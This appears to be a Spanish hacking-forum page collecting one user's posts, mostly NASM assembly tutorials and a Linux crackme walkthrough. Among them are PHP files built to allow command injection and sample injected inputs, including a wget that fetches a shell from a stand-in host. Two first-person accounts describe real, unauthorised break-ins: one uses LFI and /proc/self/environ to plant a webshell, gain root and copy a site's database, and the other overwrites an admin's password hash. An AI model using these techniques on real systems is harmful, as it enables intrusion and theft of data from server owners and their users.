Column count doesn't match value count at row 1

Gracias.

Gracias.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarP: ¿Como puedo practicar o hacer programas en ASM?
R: Puedes bajar un compilador. Entre los mas comunes estan: TASM (Turbo Asemmbler de Borland), MASM (Macro Assembler de Microsoft) y el RadASM.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Te quedó joya el tut, aun al día de hoy siguen existiendo programas con protecciones deplorables que hasta cambiando unos bytes tienes software funcional.
saludos
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias por traerlo a Underc0de Cibergolean
Saludos.
CitarNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Método: SelfKeygen (Su propio keygen)
Dificultad: Fácil
Protección: Ninguna
Plataforma: Win32
Demo: Periodo de 30 días.
Cracker: Yo-Mismo
Dedicación: Newbies
<?php
$val = "bin.exe $_POST["param"]";
system($val);
?>
<?php
if(!isset($_POST["IP"]))
{
?>
<form action="ping.php" method="POST">
IP: <input name="IP"><br>
<input type="submit" value="Ping">
</form>
<?php
} else {
system("ping ".$_POST["IP"]);
}
?>
Citar
>>>>>>>>echo xD > xd.txt | ping localhost
Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Ping statistics for ::1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
>>>>>>>>type xd.txt
xD
IP: 127.0.0.1 | ipconfig
IP: 127.0.0.1 | wget http://shell.com/shell.php
IP: 127.0.0.1 | nmap -sP 192.168.*.*
CitarHace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.
El sitio, por privacidad, lo llamaremos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.
Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.php?Page=", a la cual se agregaba la extensión ".PHP" por seguridad...
Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.
Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.
En un primer intento, trate de enviarle la ruta: ../../../etc/passwd, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.
Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.
Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.
Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.
Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:
Un solo fallo, lo pueden pagar muchos.
Mi único trofeo fue la copia de la Web, y de la base de datos, de los cuales no obtuve datos relevantes.
Dedicación: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, 11Sep, Seth, y otros
Un saludo!
CitarTe termino de completar
Bueno, una vez con la aplicación en "nuestras manos" y luego de haber comprobado correctamente el FSD procedemos a buscar los archivos de conexión a la BD, luego de literalmente decenas de includes damos con los datos de la BD, al ver que el host era 127.0.0.1 procedemos a ver si el puerto de mysql de la web estaba abierto (no filtrado ni cerrado).Código: nmap nmap site.com -p 3306
Al ver que el pueto estaba abierto procedemos a buscar algo interesante en la BD, al encontrar nada interesante buscamos los datos del administrador y nos topamos con un MD5 que intentamos crackear sin exto, al ver esto descargamos el código del admin panel (site.com/admin/) haber con que sorpresa con encontrabamos y no fue nada mas ni nada menos que un salt algo particular.Código: php
...
$pass = sha1(md5($_POST["password"]));
$pass = md5(($pass. $_POST["password"]))
...
Al ver que nos sería algo difícil y tardado (mucho) crackear la pass decidimos ver que permisos tiene nuestro user en la BD.Código: mysql SHOW GRANTS FOR <user>
Notamos que tenemos permisos SELECT e INPUT, pero no los sificientes como para dumpear shell así que decidimos guardar la pass original y poner una nuestra, para eso pasamos el código que "genera" la pass a nuestra máquina local con un par de modificaciones para que nos de el hash de 123456. Una vez tenemos el hash hacemos un UPDATE a la BDCódigo: mysql UPDATE usr SET password = "hash";
Una vez tenemos éxito intentamos logearnos en el admin panel con la pass 123456 y ¡estamos dentro!, una vez logrado nuestro objetivo (entrar al admin panel) miramos por encima y nos topamos con un SQLi nada relevante teniendo la BD en nuestras manos y un uploader al que le prestamos muy poca antención ya que no se que pasaba por nuestras cabezas y decidimos volver a colocar la pass original en la DB y dar un vistazo a las otras webs alojadas en el mismo server (almenos unas 80) con la sorpresa que TODAS estaban en flash ¬¬
Saludos!
global main
extern printf
segment .data
smal DB `Diferentes\0`
sbien DB `Iguales\0`
Cadena1 DB `aaaa\0`
Cadena2 DB `aaaa\0`
segment .bss
len1 resb 12
len2 resb 12
segment .text
main:
PUSH EBP
MOV EBP,ESP
MOV [ESP],dword Cadena1
CALL longitud
MOV dword[len1],EAX
MOV [ESP],dword Cadena2
CALL longitud
MOV dword[len2],EAX
MOV EAX,dword[len1]
MOV ECX,dword[len2]
CMP EAX,ECX
JNE Mal
XOR ECX,ECX
MOV EDX,dword[len1]
Buclecmp:
CMP EDX,ECX
JE Bien
MOV AL,byte[Cadena1+ecx]
MOV BL,byte[Cadena2+ecx]
CMP AL,BL
JNE Mal
INC ECX
JMP Buclecmp
Mal:
PUSH smal
CALL printf
LEAVE
RET
Bien:
PUSH sbien
CALL printf
LEAVE
RET
longitud:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
XOR ECX,ECX
BUCLE:
LEA EAX,[EBP+8]
MOV EAX,DWORD [EAX]
MOV BL,byte[EAX+ECX]
CMP BL,0
JE Retornar
INC ECX
JMP BUCLE
Retornar:
MOV EAX,ECX
LEAVE
RET
MOV [ESP],dword Cadena1 ;Cargar argumento, PUSH
CALL longitud
longitud:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
XOR ECX,ECX
BUCLE:
LEA EAX,[EBP+8] ;Obtenemos direccion
MOV EAX,DWORD [EAX] ;Leemos puntero
MOV BL,byte[EAX+ECX]
CMP BL,0
JE Retornar
INC ECX
JMP BUCLE
Retornar:
MOV EAX,ECX
LEAVE
RET
Global main ;Obligatorio
Global funcion
Extern printf
Extern scanf
Extern funcionpropia
.BSS – Datos no inicializados (Variables)
.DATA – Datos inicializados (Constantes)
.TEXT – Texto
.CODE – Código
Bucle:
CMP EAX,0
JNE Bucle
JMP Fin
Fin:
RET
global main
extern Funcionacargar
segment .data
constante DB `Valor\0`
segment .bss
variable resb 1024 ;Longitud
segment .text
main:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
LEAVE
RET
global main
extern longitud
extern printf
segment .data
ftoi DB `%i caracteres\0`
Cadena DB `aaaaaaa\0`
segment .text
main:
PUSH EBP
MOV EBP,ESP
MOV [ESP],dword Cadena
CALL longitud
PUSH EAX
PUSH ftoi
CALL printf
LEAVE
RET
#include <stdio.h>
int longitud(char *s1)
{
return strlen(s1);
}
Citarnasm -f win32 -Wall --prefix _ b.asmEjercicio final:
gcc -o b b.obj b.c
MOV EBX, 1
MOV EAX, EBX
MOV EAX, dowrd [EBX]
LEA destino, origen
LEA EDX, [EAX]
JMP destino
CALL destino
MOV EAX,10
MOV EDX,20
ADD EAX,EDX
MOV EAX,20
MOV EDX,10
SUB EAX,EDX
MOV EAX,10
MOV EDX,20
IMUL EAX,EDX
MOV AX,20
MOV BL,4
DIV BL
Citar
global main
extern printf
extern scanf
extern exit
segment .data
sVal1 DB `Entero 1: \0`
sVal2 DB `Entero 2: \0`
sTOTAL DB `Resultado: %i\n\0`
Ftoi DB `%i\0`
sMenu DB `@@@@@@@@@@@@@@@@@@@@@@\n@ @\n@ @\n@ Calculadora V1 ASM @\n@ @\n@ @\n@@@@@@@@@@@@@@@@@@@@@@\n\n1.- Suma\n2.- Resta\n3.- Multiplicación\n4.- División\n\nOpción:\n\0`
sMal DB `Opcion incorrecta\n\0`
segment .bss
NUM1 RESB 4
NUM2 RESB 4
Menu RESB 4
segment .text
main:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
MOV [ESP],dword sMenu
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword Menu
CALL scanf
CMP dword [Menu],4
JA optMal
CMP dword [Menu],1
JE Suma
CMP dword [Menu],2
JE Resta
CMP dword [Menu],3
JE Multip
CMP dword [Menu],4
JE Divis
CALL exit
optMal:
MOV [ESP],dword sMal
CALL printf
JMP main
Suma:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
ADD EAX,EDX
JMP Resultado
Resta:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
SUB EAX,EDX
JMP Resultado
Multip:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
IMUL EAX,EDX
JMP Resultado
Divis:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf
MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf
MOV AX,word [NUM1]
MOV DL,byte [NUM2]
DIV DL
JMP Resultado
Resultado:
PUSH EAX
PUSH sTOTAL
CALL printf
LEAVE
RET
Citar
nasm -f win32 -Wall --prefix _ Calc.ASM
gcc -o Calc.exe Calc.obj
Citar
nasm -f elf Calc.ASM
gcc -o Calc Calc.o
Citar*
- Difficulty: 1 - Very easy, for newbies
- Platform: Unix/linux etc.
- Language: Assembler
[/list]
Citar
- Strings
- objdump
strings ./blah
Citar
Okej!
Citarobjdump -d -M intel ./blah
./blah: file format elf32-i386
Disassembly of section .text:
08048094 <.text>:
8048094: 31 c0 xor eax,eax
8048096: b8 2f 00 00 00 mov eax,0x2f
804809b: cd 80 int 0x80
804809d: 3d ad de 00 00 cmp eax,0xdead
80480a2: 75 16 jne 0x80480ba
80480a4: b8 04 00 00 00 mov eax,0x4
80480a9: bb 01 00 00 00 mov ebx,0x1
80480ae: b9 c4 90 04 08 mov ecx,0x80490c4
80480b3: ba 06 00 00 00 mov edx,0x6
80480b8: cd 80 int 0x80
80480ba: 31 c0 xor eax,eax
80480bc: 40 inc eax
80480bd: 31 db xor ebx,ebx
80480bf: cd 80 int 0x80
Citarroot@ubuntu:/home/ubuntu# login blah
Password:
Welcome to Ubuntu 12.10 (GNU/Linux 3.5.0-17-generic i686)
* Documentation: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
groups: cannot find name for group ID 57005
blah@ubuntu:~$ cd /home/ubuntu
blah@ubuntu:/home/ubuntu$ ./blah
Okej!